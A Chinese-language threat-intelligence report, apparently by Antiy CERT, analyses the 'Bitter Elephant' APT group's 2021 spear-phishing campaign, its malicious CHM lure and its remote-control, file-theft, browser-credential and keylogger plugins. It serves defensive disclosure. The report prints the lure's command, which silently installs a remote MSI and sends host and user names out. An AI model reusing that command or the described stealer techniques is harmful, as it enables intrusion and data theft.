“苦象”组织上半年针对我国的攻击活动分析

时间 :  2021年07月05日  来源:  安天CERT


1、概述


        近期,安天CERT在梳理安全事件时,发现一批针对我国军工、贸易和能源等领域的网络攻击活动。攻击手法存在伪造身份向目标发送鱼叉邮件,投递恶意附件诱导受害者运行。经归因分析发现,这批活动具备APT组织“苦象”[1]的历史特征,且在针对目标、恶意代码和网络资产等层面均存在关联,属于“苦象”组织在2021年上半年的典型攻击模式。相关攻击活动的特征总结如下:

表1-1 攻击活动特征

事件要点

特征内容

事件概述

“苦象”组织的网络攻击活动

攻击目标

我国的军工、贸易和能源等领域目标

攻击手法

鱼叉邮件投递恶意附件,附件包含恶意CHM文件诱导点击

攻击意图

窃密

攻击时间

20214


        此外,安天CERT还跟踪、关联到“苦象”组织上半年使用过的多个窃密插件,其攻击技术和代码功能均带有该组织的明显特征,在关联分析章节我们将对asms和sthost两个典型插件进行分析。



2、事件分析


2.1 初始诱饵分析

        攻击者会以“会议议程”等邮件主题,伪造受害者可能感兴趣的发件人向目标连续投递多封鱼叉邮件,邮件附件中包含恶意的CHM文件,案例如图:

图2-1 附件压缩包中的内容


表2-1 样本标签

病毒名称

Trojan/Script.CHM

原始文件名

会议议程.chm

MD5

D91B888205AC1CA80C40426B9F5A6105

文件大小

10.60 KB (10856 bytes)

文件格式

MS Windows HtmlHelp Data

LanguageCode

English (U.S.)


        “会议议程.chm”为包含恶意脚本的Windows帮助文件,静态属性皆不可用,点击执行后看到的正文为空白:

图2-2 CHM文件的正文及属性


        此刻,其含有的经混淆的恶意脚本被自动运行,作用是添加一个每15分钟运行一次的系统任务计划:

图2-3 CHM文档包含的恶意脚本


        任务计划名为“DefenderService”,操作对象为以msiexec命令运行远程的MSI文件,过程完全静默且不重启系统,同时提交本机的主机名和用户名:

        %coMSPec% /c start /min msiexec /i http://***.com/***/crt.php?h=%computername%*%username% /qn /norestart

        攻击者疑似会针对目标选择性下发CERT.msi的文件内容。CERT.msi负责向以下目录释放下载器模块winupd.exe,下载器模块功能是从C2服务器获取一系列的功能插件,保存在同一目录下:

        C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\

        在观察到的案例中,陆续功能插件的选取和部署过程约在半小时内完成。

表2-2恶意文件信息列表

哈希

文件路径

说明(依次落地)

4e1cc7a2e7ba7858b2bdbcbe344410e4

C:\Users\***\Downloads\会议议程.zip

邮件附件

d91b888205ac1ca80c40426b9f5a6105

C:\Users\***\Downloads\会议议程.chm

.chm文件

6452e2c243db03ecbcacd0419ff8bebf

C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\winupd.exe

下载器模块

ef099d5fe4075132bf3812c9d5ffa8f9

C:\Users\***\AppData\Local\Google\Chrome\User Data\MtMpEnq.exe

远控插件1

bd054c4f43808ef37352f36129bf0c3d

C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\mtAdvanced4.exe

远控插件2

ade9a4ee3acbb0e6b42fb57f118dbd6b

C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\sysmgr.exe

文件窃取插件

7abcca95bc9c69d93be133f6597717c0

C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\mvrs_crsh.exe

浏览器凭证窃密插件

578918166854037cdcf1bb3a06a7a4f3

C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\scvhost.exe

键盘记录插件


2.2 部署插件分析

远控插件1:

        插件名称:MtMpEnq.exe

        MD5: EF099D5FE4075132BF3812C9D5FFA8F9

        功能简介:该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。

        C2地址为45.11.***.***,端口34318:

图2-4 远控插件1硬编码的C2


表2-3 远控插件1控制指令

指令码

功能描述

2

Delete File(删除文件)

18

FileMgr get drives(获取驱动器)

19

FileMgr get Folders(获取目录)

20

FileMgr Create File(创建文件)

21

FileMgr Copy File(复制文件)

38

FileTransfer Begin(开始文件传输)

39

FileTransfer Data(进行文件传输)

40

FileTransfer Complete(结束文件传输)

41

FileTransfer for downloading start(从被控端下载文件)

48

Get Command(执行命令)

49

Start Command Prompt(获取交互shell

50

Stop Command Prompt(结束交互shell

51

Connection Status(心跳包)


远控插件2:

        插件名称:mtAdvanced4.exe

        MD5: BD054C4F43808EF37352F36129BF0C3D

        功能简介:该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。

        C2地址为45.11.***.***,端口80:

图2-5 远控插件2硬编码的C2


表2-4 远控插件2控制指令

指令码

功能描述

18

FileMgr get drives(获取驱动器)

19

FileMgr get Folders(获取目录)

38

FileTransfer Begin(开始文件传输)

39

FileTransfer Data(进行文件传输)

40

FileTransfer Complete(结束文件传输)

41

FileTransfer for downloading start(从被控端下载文件)

48

Get Command(执行命令)

49

Start Command Prompt(获取交互shell

50

Stop Command Prompt(结束交互shell

51

Connection Status(心跳包)


文件窃取插件:

        插件名称:sysmgr.exe

        MD5: ade9a4ee3acbb0e6b42fb57f118dbd6b

        功能简介:窃取本机文件,将文件数据POST回攻击者服务器。

        选取以下后缀的文件:

表2-5 指定的文件窃取对象

指定的后缀名

.azr.bmp.doc.docx.eln.erq.err.jpeg

.jpg.neat.pdf.ppi.ppt.rar.txt.xls.xlsx.zip


        C2:http://***.net/UihbywscTZ/45Ugty845nv7rt.php,80端口

图2-6 文件窃密插件的上传流量


浏览器凭证窃密插件:

        插件名称:mvrs_crsh.exe

        MD5: 7ABCCA95BC9C69D93BE133F6597717C0

        功能简介:获取火狐和谷歌浏览器保存的用户名和密码,保存在文件“en-GB-4-0.txt”。

图2-7 浏览器窃密插件的窃取对象


键盘记录插件:

        插件名称:scvhost.exe

        MD5: 578918166854037CDCF1BB3A06A7A4F3

        功能简介:该程序被加入系统注册表中的Run启动项,用于记录目标机器上的按键行为,并将按键信息先写入临时缓冲文件“syslog0812AXbcW.tean”,然后汇入最终的存储文件“syslog0812AXbcW.neat ”。.neat 文件中的数据最终会被攻击者下发的文件窃取类插件如sysmgr.exe搜寻并上传。

        注册键盘钩子,记录按键:

图2-8 击键窃密插件的按键记录功能


        检测到“ctrl+v”后读取剪贴板内容:

图2-9 击键窃密插件的剪贴板记录功能


        将监控到的按键信息写入文件“syslog0812AXbcW.tean”:

图2-10 击键窃密插件的数据保存位置


        记录文件加密方法为每个字节加0x14(解密时每个字节减0x14):

图2-11 击键窃密插件的数据加密方法



3、关联分析


        安天CERT通过代码特点、技术手法和向量特征等技术进行关联分析,发现“苦象”组织使用过的数个功能插件,其中多数用于在目标机器上进行窃密作业。本章披露的asms和sthost插件与2.2章节提及的文件窃密插件sysmgr.exe在功能代码设计上十分相近,攻击者以相同逻辑实现类似的文件筛选、过滤、记录等窃密功能,在规避检测方面也使用十分相同的技术方法。

3.1 asms插件分析

表3-1 窃密样本标签

病毒名称

Trojan/Win32.Stealer

原始文件名

asms.exe

MD5

B63E9710CB67F4A649A83929ED9F0322

处理器架构

Intel 386 or later, and compatibles

文件大小

101 KB (103,936 bytes)

文件格式

BinExecute/Microsoft.EXE[:X86]

时间戳

2008-10-27 18:47:55

加壳类型

编译语言

Microsoft Visual C++(2008)[msvcrt,wWinMain]


        该插件是“苦象”组织窃取信息的木马,其主要功能为窃取主机硬盘驱动器中doc、docx、ppt、pptx、xls、pdf、zip、txt以及apk等类型的文件,同时该窃密木马还会探测主机是否存在光盘驱动器,如果存在,则将光盘驱动器中存在的所有文件也回传至攻击的服务器。

        当木马在主机中运行时,首先会进行休眠操作,休眠的秒数由其自身随机生成,休眠的目的是为了逃避沙箱的检测。

图3-1 随机休眠3


        休眠完成后,木马会在自身所在目录下创建名为“errore.log”、“error1log.txt”的文件,error1log.txt文件作用是储存后续收集的文件信息,而errore.log文件作用是对自身的操作进行标识。

图3-2 创建errore.log


图3-3 创建error1log.txt


        上述文件创建完成后,木马开始收集主机中不在排除路径列表且符合类型的文件信息,包括文件的完整路径以及文件的创建时间戳。同时,当木马探测到主机中存在光盘驱动器时,木马也会收集光盘驱动器中存在的文件。收集信息完成后,木马则会将收集的文件信息以“创建时间戳_文件路径||” 的形式写入error1log.txt。

图3-4 攻击者需要收集的类型


图3-5 需要排除的路径


图3-6 收集文件信息


图3-7 搜索指定类型文件


图3-8 将收集的信息写入error1log.txt


图3-9 error1log.txt文件内容


        完成收集信息操作后,木马会在当前目录下创建cachex86.tmp,cachex86.tmp的作用是存储由38位随机字符加机器名形成唯一标识符,标识符的作用在于后续回传窃取的信息时对受害主机进行区分。

图3-10 将标识符写入cachex86.tmp文件


图3-11 cachex64.tmp


        最后,木马会将存储文件信息的error1log.txt以及收集的文件以不加密的方式回传至攻击者的C2服务器。

图3-12 回传收集的信息


图3-13 回传error1log.txt的流量


图3-14 回传文件的流量


3.2 sthost插件分析

表3-2 窃密样本标签

病毒名称

Trojan/Win32.Stealer

原始文件名

sthost.exe

MD5

0159DF64E95A4BC0FC1AAFE4AA7FD3B6

处理器架构

Intel 386 or later, and compatibles

文件大小

17.5 KB (17,920 字节)

文件格式

BinExecute/Microsoft.EXE[:X86]

时间戳

2090-01-13 05:08:25

加壳类型

编译语言

Microsoft Visual C# / Basic .NET


        该插件为窃密类木马,时间戳经过伪造,内部字符串等信息使用AES加密,运行后解密使用。样本会收集主机基本信息回传,收集指定后缀文件路径并记录到文本,然后根据关注的重点路径和文件修改时间进行筛选,最后对筛选的文件进行回传。

        样本在主函数中首先对加密字符串进行解密,其加密字符串首先将空格替换成加号,进行base64解码,随后利用内置密码通过使用基于HMACSHA1的伪随机数生成器,实现基于密码的密钥派生,生成AES算法密钥和初始化向量,最终解密字符串,解密算法如下所示:

图3-15 字符串解密


        解密出的字符串如下所示:

图3-16 解密结果


        样本解密字符串后,进入无限循环,用于获取指定系统信息与文件信息并回传,并且每次获取回传都会间隔较长时间:

图3-17 获取信息回传


        回传的系统信息经过简单的凯撒加密,算法如下所示:

图3-18 系统信息加密


        在获取信息时,样本自定义了一个Listing的类用于文件信息收集功能,该类初始化结果如下:

图3-19 信息收集Listing类


        其中RequiredExtension为需要收集的文件后缀,BlacklistFolder为无需遍历的文件夹名称。最后生成的文件内容格式为“文件路径|ddMMyyyy|HHmmss”,实验环境中如下所示:

图3-20 收集的信息内容和格式


        该类还实现了通过文件最后修改时间(100天内)和文件路径进行筛选的功能。

图3-21 根据最后写入时间进行分类


图3-22 根据路径进行筛选


        最终将筛选出的文件进行上传:

图3-23 上传文件



4、威胁框架视角的攻击映射


        本次系列攻击活动共涉及ATT&CK框架中10个阶段的18个技术点,具体行为描述如下表:

表4-1 近期“苦象”组织攻击活动的技术行为描述表

ATT&CK阶段

具体行为

注释

侦察

搜集受害者组织信息

收集受害者所属组织,针对性地伪装成受害者感兴趣的身份

资源开发

获取基础设施

注册购买服务器及域名等网络基础设施

建立账户

注册钓鱼等所用的邮箱账号

初始访问

网络钓鱼

发送鱼叉邮件,附件投递诱饵文件

执行

诱导用户执行

诱导用户点击执行恶意的CHM帮助文件

利用命令和脚本解释器

利用CMD命令运行远程载荷

持久化

利用自动启动执行引导或登录

将自身添加进注册表的Run启动项

利用计划任务/工作

添加计划任务运行远程MSI载荷

凭证访问

从存储密码的位置获取凭证

从火狐/谷歌浏览器的默认存储位置获取凭证

输入捕捉

捕捉记录用户的击键记录,关注账号密码

发现

发现文件和目录

窃取文件时,发现并排除部分不需关注的目录

发现系统所有者/用户

发现系统的主机名和用户名

收集

压缩/加密收集的数据

捕获的用户输入经加密保存在本地文件

收集剪贴板数据

捕捉记录用户的Ctrl+V行为

输入捕捉

捕捉记录用户的击键记录

命令与控制

使用应用层协议

部分回传过程采用HTTP协议

使用加密信道

部分回传的数据经自定义加密

数据渗出

使用C2信道回传

数据回传至C2服务器


        将涉及到的威胁行为技术点映射到ATT&CK框架如下图所示:

图4-1 近期“苦象”组织攻击活动对应ATT&CK映射图



附录:参考连接


[1] “苦象”组织近期网络攻击活动及泄露武器分析

https://www.antiy.com/response/20200917.html